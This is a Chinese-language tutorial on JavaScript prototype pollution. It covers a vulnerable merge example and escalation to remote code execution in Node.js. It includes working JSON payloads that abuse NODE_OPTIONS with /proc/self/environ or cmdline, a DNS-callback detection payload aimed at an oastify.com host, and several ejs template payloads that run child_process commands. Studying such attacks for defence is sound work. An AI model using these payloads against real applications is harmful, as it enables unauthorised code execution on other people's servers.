js原型链污染
原理介绍
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
demo:
const foo = {bar: 1
};
// 如果这里将foo.__proto__改掉
foo.__proto__.bar = 2
console.log(foo.bar); // 这里正常输出 1
// 新声明一个
const zoo = {};
console.log(zoo.bar); // 这里错误输出 2,因为zoo类没有这个bar属性,所以会去寻找父类object的bar属性,也就是刚刚污染的2。
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
攻击场景
其实我们主要看哪些场景会允许代码设置__proto__
?主要有以下两种:
- 对象merge
- 对象clone
- Node.js的construtor
一般的 merge 函数,merge操作是最常见可能控制键名的操作,也最能被原型链攻击。一个简单的例子:
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)object3 = {}
console.log(object3.b)
需要注意的点是:在JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
这里就是循环遍历出 source 中的键名,然后判断键名是否在 source 和 target 中存在,如果都存在就再次执行 merge,不满足就给 target[key]
赋上 source[key]
的值,
第一次就是让 target 的 a 键赋值为 1,也就相当于给 object.a 赋值为 1。
然后第二次,键名就为 __proto__
了,在 target 和 suorce 中都存在,再次执行 merge 函数
这时 key 为 b,就会给 target['b']
赋值为 2。
怎么利用呢?参考: https://xz.aliyun.com/t/7184
Prototype Pollution to RCE
简单来说就是通过 js 的原型链污染环境变量进行 rce,
PP2RCE 通过 env 变量
__proto__
由于 node 的 child_process 库中的 normalizeSpawnArguments 函数的工作方式,当调用某些内容以便为进程设置新的 env 变量时,只需污染任何内容。例如,如果执行 __proto__.avar=“valuevar 操作,则进程将使用名为 avar 且值为 valuevar 的 var 生成。但是,为了让 env 变量成为第一个变量,需要污染 .env 属性,并且(仅在某些方法中)该 var 将是第一个变量(允许攻击)。这就是为什么在以下攻击中 NODE_OPTIONS 不在 .env 中的原因。
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}
constructor.prototype
{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}
PP2RCE 通过 env + cmdline
-
它不是将 nodejs 有效载荷存储在文件
/proc/self/environ
中,而是存储在/proc/self/cmdline
的 argv0 中。 -
然后,它不是通过
NODE_OPTIONS
要求文件/proc/self/environ
,而是 要求/proc/self/cmdline
。
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}
PP2RCE 漏洞 child_process 函数
当一个 进程被生成 使用 child_process
的某些方法(如 fork
或 spawn
或其他)时,它调用方法 normalizeSpawnArguments
,这是一个 原型污染工具,用于创建新的环境变量:
具体每个函数利用参考:PP2RCE 漏洞 child_process 函数
DNS 验证
可以通过 dns 来判断是否存在漏洞
{
"__proto__": {"argv0":"node","shell":"node","NODE_OPTIONS":"--inspect=id.oastify.com"}
}
ejs 模板 rce
当存在 ejs 模板渲染的时候可以通过污染模板属性进行命令执行,
跟进会调用到 renderFile
函数,看到在 renderFile
函数最后调用了 tryHandleCache
方法
继续跟进 tryHandleCache
方法中,调用了 handleCache
在 handleCache
的最后又调用了 compile
方法
compile
方法中实列化了 Template
,跟进看看
看到给非常多的属性进行了一个赋值
现在回到 templ.compile();
方法中,在该方法中经历了一些复杂的赋值,最后动态命令执行的地方。
可以看到 opts.localsName
和 src
直接被拼接到了里面,但是直接污染 localsName
会报错,所以需要从 src 入手找那些变量拼接了,这里涉及到了五个变量 outputFunctionName
, escape
, localsName
,destructuredLocals
,filename
,
具体分析就跳过了,其中四个属性可以进行 rce
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}
{"__proto__":{"__proto__":{"destructuredLocals":["a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"]}}}{"__proto__":{"__proto__":{"destructuredLocals":["__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"]}}}